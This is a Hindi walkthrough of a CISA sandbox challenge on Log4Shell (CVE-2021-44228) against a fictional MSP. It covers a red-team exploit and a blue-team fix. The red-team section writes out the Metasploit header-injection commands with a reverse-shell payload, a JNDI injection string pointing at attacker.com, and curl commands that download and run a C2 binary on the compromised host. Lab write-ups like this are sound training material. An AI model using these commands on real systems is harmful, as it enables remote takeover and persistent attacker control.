
CISA Log4Shell सैंडबॉक्स चुनौती का चरण-दर-चरण वॉकथ्रू, जिसमें Metasploit के माध्यम से आक्रामक शोषण और JNDI-be-gone Java एजेंट का उपयोग करके रक्षात्मक शमन शामिल है।
यह वॉकथ्रू CISA थ्रेट सैंडबॉक्स चैलेंज के लिए CVE-2021-44228, जिसे आमतौर पर Log4Shell के नाम से जाना जाता है, को पूरा करने के लिए उठाए गए कदमों का दस्तावेजीकरण करता है। चैलेंज में दो उद्देश्यों को पूरा करना शामिल था — एक रेड टीम (आक्रामक) और एक ब्लू टीम (रक्षात्मक) — एक काल्पनिक आईटी प्रबंधित सेवा प्रदाता (MSP) जिसे DasMSP कहा जाता है, के विरुद्ध एक पृथक सैंडबॉक्स वातावरण में।
नोट: इस वॉकथ्रू में कमांड और फ़ाइल पथ इस वातावरण में उठाए गए विशिष्ट कदमों को दर्शाते हैं। आपका वातावरण भिन्न हो सकता है, जिसमें IP पते, फ़ाइल स्थान और उपकरणों की उपलब्धता शामिल है। अपने कॉन्फ़िगरेशन के अनुसार कमांड को अनुकूलित करें।
CVE-2021-44228 एक क्रिटिकल रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता (CVSS 10.0) है जो Apache Log4j Java लॉगिंग फ्रेमवर्क के विशिष्ट संस्करणों को प्रभावित करती है। यह भेद्यता Log4j की JNDI लुकअप सुविधा से उत्पन्न होती है, जिसे किसी भी डेटा में ${jndi:ldap://attacker.com/exploit} जैसी विशेष रूप से तैयार स्ट्रिंग इंजेक्ट करके ट्रिगर किया जा सकता है, जिसे Log4j लॉग करता है। यदि कोई हमलावर किसी संवेदनशील एप्लिकेशन को एक दुर्भावनापूर्ण स्ट्रिंग लॉग करने में सक्षम हो जाता है — आमतौर पर HTTP हेडर के माध्यम से — तो Log4j हमलावर-नियंत्रित सर्वर से संपर्क करेगा और मनमाना कोड निष्पादित करेगा।
Log4Shell को 10 दिसंबर, 2021 को CISA की Known Exploited Vulnerabilities (KEV) कैटलॉग में जोड़ा गया था, और यह 2021 और 2022 दोनों के लिए शीर्ष नियमित रूप से शोषित भेद्यताओं (Top Routinely Exploited Vulnerabilities) की संयुक्त सलाह में दिखाई दिया।
| मशीन | IP |
|---|---|
| Security-Desk | <Security-Desk-IP> |
| Red Target | <Red-Target-IP> |
| Blue Target | <Blue-Target-IP> |
दोनों लक्ष्य सिस्टम लिनक्स हैं और Log4j के प्रभावित संस्करण का उपयोग करते हुए एक संवेदनशील Java वेब एप्लिकेशन (dasmsp.jar) चलाते हैं।
exploit/multi/http/log4shell_header_injection)Security-Desk पर एक टर्मिनल खोला और Metasploit लॉन्च किया:
msfconsole
ब्रिफिंग में दिया गया मॉड्यूल पथ स्थापित संस्करण से मेल नहीं खाता था। सही मॉड्यूल खोजा गया:
search log4shell
सही मॉड्यूल की पहचान की गई: exploit/multi/http/log4shell_header_injection।
use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>
run
Metasploit ने स्वचालित रूप से Log4Shell भेद्यता के लिए कई HTTP हेडर का परीक्षण किया। Red Target को कई हेडर (Authorization, Cache-Control, User-Agent, X-Forwarded-For, और अन्य) में संवेदनशील पाया गया। Red Target के लिए एक कमांड शेल सत्र खोला गया।
Red Target पर रूट-स्तरीय पहुंच की पुष्टि की गई:
id
आउटपुट: uid=0(root) gid=0(root) groups=0(root)
deploy_c2 बाइनरी Red Target पर नहीं, बल्कि Security-Desk पर स्थित थी। लक्ष्य पर न तो wget उपलब्ध था और न ही कोई सीधा पथ संदर्भ। Security-Desk पर एक दूसरा टर्मिनल खोला और Python के माध्यम से फ़ाइल को सर्व किया:
cd ~/Desktop/Resources
python3 -m http.server 8080
Red Target पर Metasploit शेल सत्र में वापस जाकर, बाइनरी को डाउनलोड और निष्पादित किया गया:
curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
आउटपुट: Done!
✅ Red Target पर C2 लिसनर तैनात जांच की पुष्टि हुई।
उपयोग की गई शमन विधि NCC Group द्वारा विकसित log4j-jndi-be-gone-standalone.jar Java एजेंट है, जो अंतर्निहित एप्लिकेशन में पैच की आवश्यकता के बिना रनटाइम पर JNDI लुकअप व्यवहार को पैच करता है। इस एजेंट के बारे में विवरण NCC Group Research Blog पर पाया जा सकता है।
Security-Desk टर्मिनल से, Java एजेंट JAR फ़ाइल को स्थानांतरित करने के लिए SCP का उपयोग किया गया:
scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/
ssh playerone@<Blue-Target-IP>
sudo nano /etc/systemd/system/dasmsp.service
ExecStart लाइन का पता लगाया और -javaagent फ्लैग जोड़ा:
पहले:
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar
बाद में:
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar
Ctrl+O → Enter → Ctrl+X से सहेजा गया।
sudo systemctl daemon-reload
sudo systemctl restart dasmsp
✅ Blue Target पर CVE-2021-44228 शमित जांच की पुष्टि हुई।